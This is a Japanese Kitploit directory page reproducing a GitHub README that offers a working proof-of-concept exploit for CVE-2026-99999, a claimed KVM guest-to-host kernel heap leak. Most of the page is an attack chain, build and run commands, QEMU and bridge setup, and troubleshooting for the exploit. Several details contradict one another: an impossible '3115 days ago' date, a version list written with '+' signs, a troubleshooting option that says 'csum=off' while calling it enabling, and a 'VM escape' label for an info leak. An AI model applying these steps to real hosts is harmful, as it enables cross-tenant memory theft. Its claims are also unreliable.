Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-99999-exploit — CVE-2026-99999 動作するPoC — Linuxカーネルのcsum_startバグに対する実際のVMエスケープ(CVSS 9.3)。ゲストからホストへのヒープリーク。関連項目:CVE-2026-99999-analysis(教育目的)。 | Kitploit
ツール/GitHubGitHub/01luyicheng/cve-2026-99999-exploit
脆弱性分析エクスプロイト情報収集セキュリティ仮想化論文と研究コンテナエスケープ
GitHub01luyicheng/cve-2026-99999-exploit

CVE-2026-99999-exploit

CVE-2026-99999 動作するPoC — Linuxカーネルのcsum_startバグに対する実際のVMエスケープ(CVSS 9.3)。ゲストからホストへのヒープリーク。関連項目:CVE-2026-99999-analysis(教育目的)。

リポジトリを見る
3115日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-99999 — PoC エクスプロイトリポジトリ

⚠️ これは動作するエクスプロイトリポジトリです。 実際の KVM/QEMU 環境で CVE-2026-99999 脆弱性をトリガーする本物のエクスプロイトコードを含んでいます。

📚 同じ攻撃チェーンを安全にローカル限定でシミュレーションするには、 CVE-2026-99999-analysis を参照してください(root 不要、ネットワーク不要、純粋な Python — ラボなしでバグを理解するのに最適です)。

脆弱性の概要

CVE-2026-99999 — GSO セグメンテーションパスにおける Linux カーネルの IPv4 csum_start 検証バグ。ゲスト VM は送信パケットフラグメントごとに約 32〜64 バイトのホストカーネルヒープメモリを漏洩させることができます。

CVSS 9.3 | CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

影響を受けるカーネル: 修正コミット以前のすべて:

  • 5.10.272+、5.15.223+、6.1.190+、6.12.113+、6.18.57+、7.2.11+

攻撃者モデル: KVM ゲスト VM 内の非特権コード。


リポジトリ構成

.
├── README.md                    ← This file
├── guest/
│   ├── exploit_guest.c          ← Exploit (guest side)
│   ├── Makefile
│   └── README.md
└── host/
    ├── receive_and_dump.py      ← Leak detector (host side)
    └── setup_bridge.sh          ← TAP bridge setup (host side)

攻撃チェーン

1. GUEST: build_crafted_packet()
   └── [virtio_net_hdr(csum_start=0)] + [Eth] + [IP] + [UDP] + [payload]
           ↑
           csum_start=0 → points at IP header, NOT transport header

2. GUEST → QEMU (vhost-user)
   └── Guest enqueues packet via TX virtqueue
   └── QEMU reads descriptor → pulls malicious frame

3. HOST KERNEL: GSO segmentation path
   └── skb_checksum_help() reads csum_start (0) and csum_offset (0)
   └── Writes checksum result to byte 0 = IHL byte

4. HOST KERNEL: IHL corruption
   └── IHL: 0x45 (IHL=5, 20 bytes) → 0x4F (IHL=15, 60 bytes)

5. HOST KERNEL: ip_do_fragment() OOB read
   └── Reads 60 bytes of "IP header" when only 20 bytes exist
   └── Bytes 20-60 are adjacent host-kernel heap memory!

6. HOST: Outbound fragment
   └── Each fragment contains ~32-64 bytes of host-kernel heap memory
   └── Captured by receive_and_dump.py on the host bridge

ビルド

ゲスト側

# vhost-user mode (default — full vhost-user protocol implementation)
gcc -Wall -Wextra -O2 -o exploit_guest guest/exploit_guest.c -lpthread -lrt

# TAP bypass mode (no vhost-user socket needed)
gcc -Wall -Wextra -DUSE_TAP -O2 -o exploit_guest guest/exploit_guest.c -lpthread -lrt

ホスト側

# Leak detector
pip3 install scapy
python3 host/receive_and_dump.py --help

使用方法

オプション A: vhost-user モード(推奨)

必要なもの:

  • -netdev vhost-user,... を指定して起動した QEMU
  • memfd または tmpfs を介して QEMU と共有されるゲストメモリ
  • ゲスト内の root 権限
# On the host — start QEMU with vhost-user (socket on shared filesystem)
qemu-system-x86_64 \
  -m 2G -smp 2 \
  -hda /path/to/guest.img \
  -netdev vhost-user,id=net0,chardev=char0 \
  -device virtio-net-pci,netdev=net0,mac=52:54:00:12:34:56 \
  -chardev socket,id=char0,path=/tmp/vhost.sock,server=on,wait=off \
  -enable-kvm \
  -nographic

# On the host — start the leak detector
sudo python3 host/receive_and_dump.py --interface tap0 --packets 20 --verbose

# In the guest
sudo ./exploit_guest --socket /tmp/vhost.sock -n 20 -v

オプション B: TAP バイパスモード

必要なもの:

  • ホストブリッジに接続された TAP デバイス
  • ゲスト内の root または CAP_NET_RAW
  • ホスト上の bridge-nf-call-iptables=1(GSO パス用)
# On the host
sudo ip link add br0 type bridge
sudo ip link set br0 up
sudo ip addr add 10.0.0.1/24 dev br0
sudo ip tuntap add dev tap0 mode tap
sudo ip link set tap0 master br0
sudo ip link set tap0 up
python3 host/receive_and_dump.py --interface tap0 --packets 20 --verbose

# In the guest
gcc -DUSE_TAP -O2 -o exploit_guest guest/exploit_guest.c -lpthread -lrt
sudo ./exploit_guest --tap tap0 -n 20 -v

技術ノート

vhost-user メモリ共有

このエクスプロイトでは、QEMU がゲストの TX virtqueue メモリを読み取れることが必要です。 共有メモリがない場合、QEMU はディスクリプタを読み取れず、パケットはエンキューされますが 送信されることはありません。

テストには、次のいずれかを使用してください:

# Option 1: memfd (QEMU ≥ 4.2, Linux ≥ 3.17)
# Pass -object memory-backend-memfd,id=mem0,share=on to QEMU

# Option 2: tmpfs
mkdir -p /mnt/guest-shared
mount -t tmpfs -o size=64M tmpfs /mnt/guest-shared
# Point SET_MEM_TABLE at this region

# Option 3: hugetlbfs
mount -t hugetlbfs -o pagesize=2M hugetlbfs /mnt/hugepages
# Use hugetlbfs region in SET_MEM_TABLE

GSO パスの前提条件

CVE トリガーは、ホストカーネルがフレームを GSO セグメンテーションパス経由で処理することを必要とします。これは次の場合に発生します:

  • フレームに IP_MF(More Fragments)フラグが設定されている — フラグメンテーションを強制する
  • virtio-net デバイスでチェックサムオフロードが有効になっている
  • フレームが MTU より大きい(GSO セグメンテーションを強制する)

エクスプロイトは GSO セグメンテーションを確実にするため、すべてのパケットに IP_MF を設定します。

検出

ホスト側の検出器(receive_and_dump.py)は次の方法で CVE-2026-99999 を識別します:

  1. ブリッジインターフェース上でパケットをキャプチャする
  2. 破損した IHL バイト(version_ihl & 0x0F > 5)を検出する
  3. 超過バイトをカーネルヒープメモリリークの可能性として報告する

ファイル

guest/exploit_guest.c   ← Full vhost-user implementation (handshake + virtqueue + packet TX)
host/receive_and_dump.py ← Packet capture + leak detection on host
host/setup_bridge.sh    ← TAP bridge setup helper script

トラブルシューティング

「vhost-user ソケットに接続できません」

  • QEMU が vhost-user で起動しており、ソケットが存在することを確認してください
  • 確認: ls -la /tmp/vhost.sock

「ホストが VIRTIO_NET_F_CSUM をサポートしていません」

  • お使いの QEMU/KVM 設定でチェックサムオフロードが有効になっていません
  • QEMU に追加: -device virtio-net-pci,netdev=net0,csum=off,host_csum=off — 無効化ではなく有効化してください

「ホストが VIRTIO_NET_F_CSUM をサポートしていません」(exploit の出力)

  • ホストの vhost-user バックエンドがチェックサムオフロード機能をネゴシエートしませんでした
  • 一部の QEMU 設定では想定される動作です
  • 代わりに TAP バイパスモードを試してください

破損パケットが検出されない

  • ホストカーネルが未パッチであることを確認してください(5.10.272、5.15.223、6.1.190 より前)
  • 確認: uname -r
  • 送信パケットに IP_MF フラグが設定されていることを確認してください
  • ホストブリッジ上で Wireshark を実行し、生フレームを観察してみてください

アクセスが拒否されました

  • ゲスト: root または sudo が必要です
  • ホスト: パケットキャプチャと TAP 設定のために root または sudo が必要です

免責事項

認可されたセキュリティ研究を、隔離されたラボ環境においてのみ行うためのものです。 所有していない、または書面によるテスト許可を得ていないシステムに対して無断で使用することは違法です。著者は不正使用について一切の責任を負いません。

ツールをダウンロード